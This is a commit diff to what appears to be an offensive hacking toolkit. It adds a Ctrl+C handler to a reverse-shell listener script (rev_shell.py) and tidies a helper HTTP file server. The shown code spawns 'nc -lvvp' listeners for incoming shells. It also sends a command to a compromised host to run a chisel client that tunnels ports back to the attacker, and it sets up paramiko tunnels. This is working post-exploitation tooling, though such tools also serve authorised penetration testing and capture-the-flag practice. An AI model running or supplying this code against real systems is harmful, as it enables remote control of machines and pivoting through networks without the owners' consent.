file server fix, added ctrl+c handler for rev shells
This commit is contained in:
parent
e4132c3468
commit
8c42a9065a
@ -101,7 +101,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
|||||||
if path in self.server.dumpRequests:
|
if path in self.server.dumpRequests:
|
||||||
headers["Access-Control-Allow-Origin"] = "*"
|
headers["Access-Control-Allow-Origin"] = "*"
|
||||||
|
|
||||||
headers["Content-Length"] = len(data)
|
headers["Content-Length"] = len(util.nvl(data, b""))
|
||||||
|
|
||||||
if len(headers) == 0:
|
if len(headers) == 0:
|
||||||
self.send_response(status_code)
|
self.send_response(status_code)
|
||||||
@ -162,7 +162,10 @@ class HttpFileServer(HTTPServer):
|
|||||||
|
|
||||||
return path.strip()
|
return path.strip()
|
||||||
|
|
||||||
def addFile(self, name, data, mimeType=None):
|
def addFile(self, name, data, mime_type=None):
|
||||||
|
|
||||||
|
assert isinstance(name, str)
|
||||||
|
assert data is not None
|
||||||
|
|
||||||
if hasattr(data, "read"):
|
if hasattr(data, "read"):
|
||||||
fd = data
|
fd = data
|
||||||
@ -176,8 +179,8 @@ class HttpFileServer(HTTPServer):
|
|||||||
"Access-Control-Allow-Origin": "*",
|
"Access-Control-Allow-Origin": "*",
|
||||||
}
|
}
|
||||||
|
|
||||||
if mimeType:
|
if mime_type:
|
||||||
headers["Content-Type"] = mimeType
|
headers["Content-Type"] = mime_type
|
||||||
|
|
||||||
# return 200 - OK and data
|
# return 200 - OK and data
|
||||||
self.addRoute(name, lambda req: (200, data, headers))
|
self.addRoute(name, lambda req: (200, data, headers))
|
||||||
|
38
rev_shell.py
38
rev_shell.py
@ -14,7 +14,7 @@ import paramiko
|
|||||||
import base64
|
import base64
|
||||||
import select
|
import select
|
||||||
import argparse
|
import argparse
|
||||||
|
import signal
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import SocketServer
|
import SocketServer
|
||||||
@ -35,6 +35,7 @@ class ShellListener:
|
|||||||
self.features = set()
|
self.features = set()
|
||||||
self.shell_ready = False
|
self.shell_ready = False
|
||||||
self.os = None # we need a way to find the OS here
|
self.os = None # we need a way to find the OS here
|
||||||
|
self.raw_output = b""
|
||||||
|
|
||||||
def startBackground(self):
|
def startBackground(self):
|
||||||
self.listen_thread = threading.Thread(target=self.start)
|
self.listen_thread = threading.Thread(target=self.start)
|
||||||
@ -95,6 +96,8 @@ class ShellListener:
|
|||||||
self.shell_ready = True
|
self.shell_ready = True
|
||||||
if self.verbose:
|
if self.verbose:
|
||||||
print("RECV first prompt")
|
print("RECV first prompt")
|
||||||
|
else:
|
||||||
|
self.raw_output += data
|
||||||
|
|
||||||
print("[-] Disconnected")
|
print("[-] Disconnected")
|
||||||
self.connection = None
|
self.connection = None
|
||||||
@ -285,7 +288,6 @@ class ParamikoTunnelServer(SocketServer.ThreadingTCPServer):
|
|||||||
daemon_threads = True
|
daemon_threads = True
|
||||||
allow_reuse_address = True
|
allow_reuse_address = True
|
||||||
|
|
||||||
|
|
||||||
class ParamikoTunnel:
|
class ParamikoTunnel:
|
||||||
def __init__(self, shell, ports):
|
def __init__(self, shell, ports):
|
||||||
self.shell = shell
|
self.shell = shell
|
||||||
@ -426,7 +428,22 @@ def generate_payload(payload_type, local_address, port, index=None, **kwargs):
|
|||||||
return payload
|
return payload
|
||||||
|
|
||||||
def spawn_listener(port):
|
def spawn_listener(port):
|
||||||
pty.spawn(["nc", "-lvvp", str(port)])
|
signal.signal(signal.SIGINT, on_ctrl_c)
|
||||||
|
orig_stdin = os.dup(0)
|
||||||
|
pid, fd = pty.fork()
|
||||||
|
if pid == 0:
|
||||||
|
os.dup2(orig_stdin, 0)
|
||||||
|
x = os.execvp("nc", ["nc", "-lvvp", str(port)])
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
data = os.read(fd, 1024)
|
||||||
|
if not data:
|
||||||
|
break
|
||||||
|
sys.stdout.buffer.write(data)
|
||||||
|
sys.stdout.flush()
|
||||||
|
except OSError as e:
|
||||||
|
print("[!] OSError:", str(e))
|
||||||
|
|
||||||
def wait_for_connection(listener, timeout=None, prompt=True):
|
def wait_for_connection(listener, timeout=None, prompt=True):
|
||||||
start = time.time()
|
start = time.time()
|
||||||
@ -494,13 +511,20 @@ def create_tunnel(shell, ports: list):
|
|||||||
shell.sendline(f"/tmp/chisel64 client --max-retry-count 1 {ipAddress}:{chiselPort} {ports} 2>&1 >/dev/null &")
|
shell.sendline(f"/tmp/chisel64 client --max-retry-count 1 {ipAddress}:{chiselPort} {ports} 2>&1 >/dev/null &")
|
||||||
return t
|
return t
|
||||||
elif isinstance(shell, paramiko.SSHClient):
|
elif isinstance(shell, paramiko.SSHClient):
|
||||||
|
|
||||||
paramiko_tunnel = ParamikoTunnel(shell, ports)
|
paramiko_tunnel = ParamikoTunnel(shell, ports)
|
||||||
paramiko_tunnel.start_background()
|
paramiko_tunnel.start_background()
|
||||||
return paramiko_tunnel
|
return paramiko_tunnel
|
||||||
|
|
||||||
# TODO: https://github.com/paramiko/paramiko/blob/88f35a537428e430f7f26eee8026715e357b55d6/demos/forward.py#L103
|
def on_ctrl_c(*args):
|
||||||
pass
|
global ctrl_c_pressed
|
||||||
|
now = time.time()
|
||||||
|
last_pressed = globals().get("ctrl_c_pressed", None)
|
||||||
|
if not last_pressed or (now - last_pressed) > 1.5:
|
||||||
|
print("[!] CTRL-C pressed. Press again if you really want to interrupt")
|
||||||
|
else:
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
ctrl_c_pressed = now
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|
||||||
@ -544,4 +568,4 @@ if __name__ == "__main__":
|
|||||||
print("xhost +targetip")
|
print("xhost +targetip")
|
||||||
print("Xnest :1")
|
print("Xnest :1")
|
||||||
else:
|
else:
|
||||||
pty.spawn(["nc", "-lvvp", str(listen_port)])
|
spawn_listener(listen_port)
|
||||||
|
Loading…
Reference in New Issue
Block a user